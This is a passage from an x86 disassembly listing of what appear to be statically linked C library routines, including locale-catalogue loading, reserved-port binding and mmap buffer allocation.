= dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push edi push esi push ebx push 18h lea ebx, [ebp+var_18] push ebx call sub_806626C add esp, 8 mov [ebp+var_20], ebx lea esi, [esi] loc_80668C8: ; CODE XREF: sub_80668AC+114j mov edx, [ebp+var_20] push edx mov ecx, [ebp+arg_0] push ecx call sub_80666A0 add esp, 8 test eax, eax jnz short loc_80668FC mov edx, [ebp+var_20] push edx push offset sub_80666A0 call sub_8064E74 mov ecx, [ebp+arg_4] mov dword ptr [ecx], 0FFFFFFFAh xor eax, eax jmp loc_80669F3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80668FC: ; CODE XREF: sub_80668AC+2Ej cmp [ebp+var_18], 0 jnz short loc_8066918 mov edx, [ebp+var_20] push edx push offset sub_80666A0 call sub_8064E74 xor eax, eax jmp loc_80669F3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8066918: ; CODE XREF: sub_80668AC+54j mov ecx, [ebp+var_14] mov [ebp+var_1C], ecx cmp ecx, 1 jz short loc_8066934 cmp ecx, 2 jz loc_80669C8 jmp loc_80669D8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8066934: ; CODE XREF: sub_80668AC+75j mov eax, [ebp+var_C] inc eax push eax call malloc mov edi, eax mov eax, [ebp+var_C] push eax push edi mov eax, [ebp+var_10] push eax call bcopy mov eax, [ebp+var_C] mov byte ptr [eax+edi], 0 mov eax, [ebp+var_4] inc eax push eax call malloc mov ebx, eax mov eax, [ebp+var_4] push eax push ebx mov eax, [ebp+var_8] push eax call bcopy mov eax, [ebp+var_4] mov byte ptr [eax+ebx], 0 add esp, 20h mov edx, [ebp+var_20] push edx push offset sub_80666A0 call sub_8064E74 mov eax, ds:dword_807EB8C push eax mov eax, [ebp+var_4] push eax push ebx mov eax, [ebp+var_C] push eax push edi mov ecx, [ebp+var_1C] push ecx mov eax, ds:dword_807EB90 call eax mov esi, eax mov ecx, [ebp+var_1C] mov edx, [ebp+arg_4] mov [edx], ecx add esp, 20h push edi call free push ebx call free add esp, 8 test esi, esi jz loc_80668C8 jmp short loc_80669EE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80669C8: ; CODE XREF: sub_80668AC+7Aj mov edx, [ebp+var_20] push edx push offset sub_80666A0 call sub_8064E74 jmp short loc_80669EE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80669D8: ; CODE XREF: sub_80668AC+80j mov ecx, [ebp+var_20] push ecx push offset sub_80666A0 call sub_8064E74 mov ecx, [ebp+var_1C] mov edx, [ebp+arg_4] mov [edx], ecx loc_80669EE: ; CODE XREF: sub_80668AC+11Aj ; sub_80668AC+12Aj mov eax, 1 loc_80669F3: ; CODE XREF: sub_80668AC+49j ; sub_80668AC+66j lea esp, [ebp+var_2C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_80668AC endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8066A00 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] push 4 push eax push edx call sub_8065120 test eax, eax jz short loc_8066A20 mov eax, 1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8066A20: ; CODE XREF: sub_8066A00+14j xor eax, eax mov esp, ebp pop ebp retn sub_8066A00 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8066A28 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] push eax push edx call sub_806510C test eax, eax jz short loc_8066A48 mov eax, 1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8066A48: ; CODE XREF: sub_8066A28+12j xor eax, eax mov esp, ebp pop ebp retn sub_8066A28 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8066A50 proc near ; CODE XREF: sub_8063B04+B8p ; sub_80641C8+1C8p var_1C = byte ptr -1Ch var_10 = word ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push edi push esi push ebx mov edi, [ebp+arg_0] mov ebx, [ebp+arg_4] test ebx, ebx jz short loc_8066A80 cmp word ptr [ebx], 2 jz short loc_8066A94 mov __errno, 60h mov eax, 0FFFFFFFFh jmp loc_8066B11 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8066A80: ; CODE XREF: sub_8066A50+11j lea ebx, [ebp+var_10] push 10h push ebx call sub_806626C mov [ebp+var_10], 2 add esp, 8 loc_8066A94: ; CODE XREF: sub_8066A50+17j cmp ds:word_807E768, 0 jnz short loc_8066AB7 call getpid mov ecx, 1A8h cdq idiv ecx add dx, 258h mov ds:word_807E768, dx loc_8066AB7: ; CODE XREF: sub_8066A50+4Cj mov eax, 0FFFFFFFFh mov __errno, 62h xor esi, esi loc_8066AC8: ; CODE XREF: sub_8066A50+BFj cmp __errno, 62h jnz short loc_8066B11 mov ax, ds:word_807E768 inc ds:word_807E768 xchg al, ah mov [ebx+2], ax cmp ds:word_807E768, 3FFh jle short loc_8066AF8 mov ds:word_807E768, 258h loc_8066AF8: ; CODE XREF: sub_8066A50+9Dj push 10h push ebx push edi call bind add esp, 0Ch inc esi cmp esi, 1A7h jg short loc_8066B11 test eax, eax jl short loc_8066AC8 loc_8066B11: ; CODE XREF: sub_8066A50+28j ; sub_8066A50+7Fj ... lea esp, [ebp+var_1C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8066A50 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8066B1C proc near var_4C = byte ptr -4Ch var_40 = byte ptr -40h var_38 = word ptr -38h var_28 = dword ptr -28h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push edi push esi push ebx mov esi, [ebp+arg_0] cmp dword ptr [esi+38h], 0 jl short loc_8066B45 mov eax, [esi+50h] lea edx, [ebp+var_40] push edx push esi mov eax, [eax+8Ch] call eax add esp, 8 test eax, eax jge short loc_8066B4C loc_8066B45: ; CODE XREF: sub_8066B1C+10j xor edi, edi jmp short loc_8066B65 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8066B4C: ; CODE XREF: sub_8066B1C+27j mov ax, [ebp+var_38] and ax, 0F000h cmp ax, 2000h setz al movzx edi, al mov ebx, [ebp+var_28] test ebx, ebx jnz short loc_8066B6A loc_8066B65: ; CODE XREF: sub_8066B1C+2Bj mov ebx, 400h loc_8066B6A: ; CODE XREF: sub_8066B1C+47j push 0 push 0FFFFFFFFh push 22h push 3 push ebx push 0 call mmap mov edx, eax add esp, 18h cmp edx, 0FFFFFFFFh jnz short loc_8066B8C mov eax, 0FFFFFFFFh jmp short loc_8066BB8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8066B8C: ; CODE XREF: sub_8066B1C+66j push 1 lea eax, [ebx+edx] push eax push edx push esi call sub_8061B6C add esp, 10h test edi, edi jz short loc_8066BB3 mov eax, [esi+38h] push eax call sub_80672AC test eax, eax jz short loc_8066BB3 or dword ptr [esi], 200h loc_8066BB3: ; CODE XREF: sub_8066B1C+82j ; sub_8066B1C+8Fj mov eax, 1 loc_8066BB8: ; CODE XREF: sub_8066B1C+6Dj lea esp, [ebp+var_4C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8066B1C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8066BC4 proc near ; CODE XREF: sub_8062CF8+37p push ebp mov ebp, esp mov eax, dword_8079288 mov edx, [eax+0Ch] add edx, 100h mov dword_8078FA0, edx mov edx, [eax+18h] add edx, 200h mov dword_8078FA8, edx mov eax, [eax+1Ch] add eax, 200h mov dword_8078FA4, eax mov esp, ebp pop ebp retn sub_8066BC4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8066BFC proc near ; CODE XREF: sub_8062D4C+330p ; sub_8062D4C+883p var_68 = byte ptr -68h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h var_38 = word ptr -38h var_2C = dword ptr -2Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 5Ch push edi push esi push ebx mov ebx, [ebp+arg_4] mov [ebp+var_44], 0 mov eax, [ebx] cmp byte ptr [eax], 0 jnz short loc_8066C70 push offset aLc_all_0 ; "LC_ALL" call secure_getenv mov [ebx], eax add esp, 4 test eax, eax jz short loc_8066C2E cmp byte ptr [eax], 0 jnz short loc_8066C43 loc_8066C2E: ; CODE XREF: sub_8066BFC+2Bj mov ecx, [ebp+arg_0] mov eax, ds:dword_806AA34[ecx*4] push eax call secure_getenv mov [ebx], eax add esp, 4 loc_8066C43: ; CODE XREF: sub_8066BFC+30j cmp dword ptr [ebx], 0 jz short loc_8066C4F mov eax, [ebx] cmp byte ptr [eax], 0 jnz short loc_8066C5E loc_8066C4F: ; CODE XREF: sub_8066BFC+4Aj push offset aLang_0 ; "LANG" call secure_getenv mov [ebx], eax add esp, 4 loc_8066C5E: ; CODE XREF: sub_8066BFC+51j cmp dword ptr [ebx], 0 jz short loc_8066C6A mov eax, [ebx] cmp byte ptr [eax], 0 jnz short loc_8066C70 loc_8066C6A: ; CODE XREF: sub_8066BFC+65j mov dword ptr [ebx], offset aLocal ; "local" loc_8066C70: ; CODE XREF: sub_8066BFC+18j ; sub_8066BFC+6Cj mov [ebp+var_54], esp mov ecx, [ebp+arg_0] mov ecx, ds:dword_806AA34[ecx*4] mov [ebp+var_50], ecx mov ecx, [ebx] mov [ebp+var_5C], ecx xor al, al mov edi, [ebp+var_5C] cld mov ecx, 0FFFFFFFFh repne scasb mov edx, ecx not edx mov edi, [ebp+var_50] cld mov ecx, 0FFFFFFFFh repne scasb mov eax, ecx not eax lea edi, [eax-1] lea eax, [edx+edi*2+1Bh] and al, 0FCh sub esp, eax mov esi, esp push 2Fh mov ecx, [ebp+var_5C] push ecx call strchr add esp, 8 test eax, eax jz short loc_8066CDC mov ecx, [ebp+var_50] push ecx mov eax, [ebx] push eax push offset aSS_0 ; "%s/%s" push esi call sprintf add esp, 10h jmp short loc_8066CF6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8066CDC: ; CODE XREF: sub_8066BFC+C6j mov ecx, [ebp+var_50] push ecx mov eax, [ebx] push eax push offset aUsrShareLocale ; "/usr/share/locale" push offset aSSS_0 ; "%s/%s/%s" push esi call sprintf add esp, 14h loc_8066CF6: ; CODE XREF: sub_8066BFC+DDj push 0 push esi call open mov [ebp+var_48], eax add esp, 8 test eax, eax jl loc_8066EB8 lea eax, [ebp+var_40] push eax mov ecx, [ebp+var_48] push ecx push 1 call fstat add esp, 0Ch test eax, eax jl short loc_8066D8B mov ax, [ebp+var_38] and ax, 0F000h cmp ax, 4000h jnz short loc_8066D94 mov ecx, [ebp+var_48] push ecx call close push offset aSys_ ; "/SYS_" push 0 push esi call strchr add esp, 8 push eax call sub_8067300 mov edx, eax lea eax, [edi+1] push eax mov ecx, [ebp+var_50] push ecx push edx call memcpy add esp, 0Ch push 0 push esi call open mov [ebp+var_48], eax add esp, 14h test eax, eax jl loc_8066EB8 lea eax, [ebp+var_40] push eax mov ecx, [ebp+var_48] push ecx push 1 call fstat test eax, eax jge short loc_8066D94 loc_8066D8B: ; CODE XREF: sub_8066BFC+124j mov esp, [ebp+var_54] jmp loc_8066EAF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8066D94: ; CODE XREF: sub_8066BFC+132j ; sub_8066BFC+18Dj mov esp, [ebp+var_54] mov ecx, __errno mov [ebp+var_58], ecx push 0 mov ecx, [ebp+var_48] push ecx push 2 push 1 mov eax, [ebp+var_2C] push eax push 0 call mmap mov [ebp+var_4C], eax add esp, 18h cmp eax, 0FFFFFFFFh jnz short loc_8066E39 cmp __errno, 26h jnz loc_8066EAF mov eax, [ebp+var_2C] push eax call malloc mov [ebp+var_4C], eax add esp, 4 test eax, eax jz loc_8066EAF mov esi, [ebp+var_2C] mov edi, [ebp+var_4C] test esi, esi jle short loc_8066E30 lea esi, [esi] loc_8066DF0: ; CODE XREF: sub_8066BFC+232j push esi push edi mov ecx, [ebp+var_48] push ecx call read mov ebx, eax add esp, 0Ch test ebx, ebx jg short loc_8066E28 mov ecx, [ebp+var_4C] push ecx call free add esp, 4 test ebx, ebx jnz loc_8066EAF mov __errno, 16h jmp loc_8066EAF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8066E28: ; CODE XREF: sub_8066BFC+206j add edi, ebx sub esi, ebx test esi, esi jg short loc_8066DF0 loc_8066E30: ; CODE XREF: sub_8066BFC+1F0j mov ecx, [ebp+var_58] mov __errno, ecx loc_8066E39: ; CODE XREF: sub_8066BFC+1C2j mov eax, [ebp+arg_0] xor eax, 51472CAh mov ecx, [ebp+var_4C] cmp [ecx], eax jnz short loc_8066E6C mov [ebp+var_44], 0 jmp short loc_8066EC0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8066E54: ; CODE XREF: sub_8066BFC+417j push ebx call free mov __errno, 16h add esp, 4 jmp short loc_8066E9F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8066E6C: ; CODE XREF: sub_8066BFC+24Aj mov [ebp+var_44], 1 mov ecx, [ebp+var_4C] mov dl, [ecx+3] shl edx, 18h movzx eax, byte ptr [ecx+2] shl eax, 10h or edx, eax movzx eax, byte ptr [ecx+1] shl eax, 8 or edx, eax movzx eax, byte ptr [ecx] or edx, eax mov eax, [ebp+arg_0] xor eax, 51472CAh cmp edx, eax jz short loc_8066EC0 loc_8066E9F: ; CODE XREF: sub_8066BFC+26Bj ; sub_8066BFC+34Bj ... mov eax, [ebp+var_2C] push eax mov ecx, [ebp+var_4C] push ecx call munmap add esp, 8 loc_8066EAF: ; CODE XREF: sub_8066BFC+192j ; sub_8066BFC+1CBj ... mov ecx, [ebp+var_48] push ecx call close loc_8066EB8: ; CODE XREF: sub_8066BFC+10Aj ; sub_8066BFC+176j xor eax, eax jmp loc_8067033 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8066EC0: ; CODE XREF: sub_8066BFC+253j ; sub_8066BFC+2A1j mov ebx, [ebp+var_4C] add ebx, 4 cmp [ebp+var_44], 0 jnz short loc_8066ED4 mov ecx, [ebp+var_4C] mov eax, [ecx+4] jmp short loc_8066EF1 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8066ED4: ; CODE XREF: sub_8066BFC+2CEj mov dl, [ebx+3] shl edx, 18h movzx eax, byte ptr [ebx+2] shl eax, 10h or edx, eax movzx eax, byte ptr [ebx+1] shl eax, 8 or edx, eax movzx eax, byte ptr [ebx] or eax, edx loc_8066EF1: ; CODE XREF: sub_8066BFC+2D6j mov ecx, [ebp+arg_0] cmp ds:dword_806BFB0[ecx*4], eax ja short loc_8066F3D mov ebx, [ebp+var_4C] add ebx, 4 cmp [ebp+var_44], 0 jnz short loc_8066F14 mov ecx, [ebp+var_4C] mov eax, [ecx+4] jmp short loc_8066F31 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8066F14: ; CODE XREF: sub_8066BFC+30Bj mov dl, [ebx+3] shl edx, 18h movzx eax, byte ptr [ebx+2] shl eax, 10h or edx, eax movzx eax, byte ptr [ebx+1] shl eax, 8 or edx, eax movzx eax, byte ptr [ebx] or eax, edx loc_8066F31: ; CODE XREF: sub_8066BFC+313j lea eax, ds:8[eax*4] cmp [ebp+var_2C], eax jg short loc_8066F4C loc_8066F3D: ; CODE XREF: sub_8066BFC+2FFj mov __errno, 16h jmp loc_8066E9F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8066F4C: ; CODE XREF: sub_8066BFC+33Fj mov ebx, [ebp+var_4C] add ebx, 4 cmp [ebp+var_44], 0 jnz short loc_8066F60 mov ecx, [ebp+var_4C] mov eax, [ecx+4] jmp short loc_8066F7D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8066F60: ; CODE XREF: sub_8066BFC+35Aj mov dl, [ebx+3] shl edx, 18h movzx eax, byte ptr [ebx+2] shl eax, 10h or edx, eax movzx eax, byte ptr [ebx+1] shl eax, 8 or edx, eax movzx eax, byte ptr [ebx] or eax, edx loc_8066F7D: ; CODE XREF: sub_8066BFC+362j lea eax, ds:0Ch[eax*4] push eax call malloc mov ebx, eax add esp, 4 test ebx, ebx jz loc_8066E9F mov ecx, [ebp+var_4C] mov [ebx], ecx mov eax, [ebp+var_2C] mov [ebx+4], eax mov esi, [ebp+var_4C] add esi, 4 cmp [ebp+var_44], 0 jnz short loc_8066FB4 mov eax, [ecx+4] jmp short loc_8066FD1 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8066FB4: ; CODE XREF: sub_8066BFC+3B0j mov dl, [esi+3] shl edx, 18h movzx eax, byte ptr [esi+2] shl eax, 10h or edx, eax movzx eax, byte ptr [esi+1] shl eax, 8 or edx, eax movzx eax, byte ptr [esi] or eax, edx loc_8066FD1: ; CODE XREF: sub_8066BFC+3B5j mov [ebx+8], eax xor esi, esi cmp esi, eax jnb short loc_8067028 xor edi, edi loc_8066FDC: ; CODE XREF: sub_8066BFC+42Aj mov ecx, [ebp+var_4C] lea ecx, [ecx+edi+8] mov [ebp+var_5C], ecx cmp [ebp+var_44], 0 jnz short loc_8066FF0 mov eax, [ecx] jmp short loc_8067010 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8066FF0: ; CODE XREF: sub_8066BFC+3EEj mov ecx, [ebp+var_5C] mov dl, [ecx+3] shl edx, 18h movzx eax, byte ptr [ecx+2] shl eax, 10h or edx, eax movzx eax, byte ptr [ecx+1] shl eax, 8 or edx, eax movzx eax, byte ptr [ecx] or eax, edx loc_8067010: ; CODE XREF: sub_8066BFC+3F2j cmp [ebx+4], eax jle loc_8066E54 add eax, [ebx] mov [ebx+esi*4+0Ch], eax add edi, 4 inc esi cmp [ebx+8], esi ja short loc_8066FDC loc_8067028: ; CODE XREF: sub_8066BFC+3DCj mov ecx, [ebp+var_48] push ecx call close mov eax, ebx loc_8067033: ; CODE XREF: sub_8066BFC+2BEj lea esp, [ebp+var_68] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8066BFC endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8067040 proc near ; CODE XREF: sub_8062CF8+43p ; sub_8062D4C+3E2p ... var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push ebx mov ebx, [ebp+arg_0] mov esi, __errno test ebx, ebx jz short loc_806708A cmp dword ptr [ebx], 0 jz short loc_806708A mov eax, [ebx+4] push eax mov eax, [ebx] push eax call munmap add esp, 8 test eax, eax jge short loc_8067084 cmp __errno, 26h jnz short loc_806707E mov eax, [ebx] push eax call free add esp, 4 loc_806707E: ; CODE XREF: sub_8067040+31j mov __errno, esi loc_8067084: ; CODE XREF: sub_8067040+28j push ebx call free loc_806708A: ; CODE XREF: sub_8067040+10j ; sub_8067040+15j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8067040 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8067094 proc near ; CODE XREF: sub_8063B04+1F6p ; sub_80641C8+1FEp var_20 = byte ptr -20h var_18 = byte ptr -18h var_14 = dword ptr -14h push ebp mov ebp, esp sub esp, 18h push esi push ebx mov ebx, ds:dword_807E76C test ebx, ebx jnz short loc_80670C6 push 40h push 1 call sub_805C904 mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_80670C0 xor eax, eax jmp loc_8067141 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80670C0: ; CODE XREF: sub_8067094+22j mov ds:dword_807E76C, ebx loc_80670C6: ; CODE XREF: sub_8067094+10j cmp dword ptr [ebx+3Ch], 0 jnz short loc_806713F mov eax, dword_8079230 mov [ebx+0Ch], eax mov eax, dword_8079234 mov [ebx+10h], eax mov eax, dword_8079238 mov [ebx+14h], eax mov eax, [ebx+0Ch] mov [ebx], eax mov eax, [ebx+10h] mov [ebx+4], eax mov eax, [ebx+14h] mov [ebx+8], eax mov dword ptr [ebx+20h], offset off_8079298 lea esi, [ebp+var_18] push 0 push 14h lea eax, [ebx+28h] push eax push esi call sub_8065408 push ebx push esi call sub_8064B1C lea eax, [ebx+0Ch] push eax push esi call sub_8064B1C add esp, 20h mov eax, [ebp+var_14] push esi mov eax, [eax+10h] call eax mov [ebx+3Ch], eax mov eax, [ebp+var_14] add esp, 4 cmp dword ptr [eax+1Ch], 0 jz short loc_806713F push esi mov eax, [eax+1Ch] call eax loc_806713F: ; CODE XREF: sub_8067094+36j ; sub_8067094+A3j mov eax, ebx loc_8067141: ; CODE XREF: sub_8067094+26j lea esp, [ebp+var_20] pop ebx pop esi mov esp, ebp pop ebp retn sub_8067094 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_806714C proc near ; DATA XREF: .data:0807929Co var_4 = dword ptr -4 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] mov ecx, ds:dword_807E76C test ecx, ecx jz short loc_8067170 mov edx, [ebx+4] mov eax, [ecx+3Ch] push eax lea eax, [ecx+28h] push eax push ebx mov eax, [edx+0Ch] call eax jmp short loc_8067172 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8067170: ; CODE XREF: sub_806714C+Fj xor eax, eax loc_8067172: ; CODE XREF: sub_806714C+22j mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_806714C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_806717C proc near ; DATA XREF: .data:08079298o push ebp mov ebp, esp mov esp, ebp pop ebp retn sub_806717C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8067184 proc near ; DATA XREF: .data:080792A0o push ebp mov ebp, esp mov eax, 1 mov esp, ebp pop ebp retn sub_8067184 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8067190 proc near ; DATA XREF: .data:080792A4o push ebp mov ebp, esp xor eax, eax mov esp, ebp pop ebp retn sub_8067190 endp ; 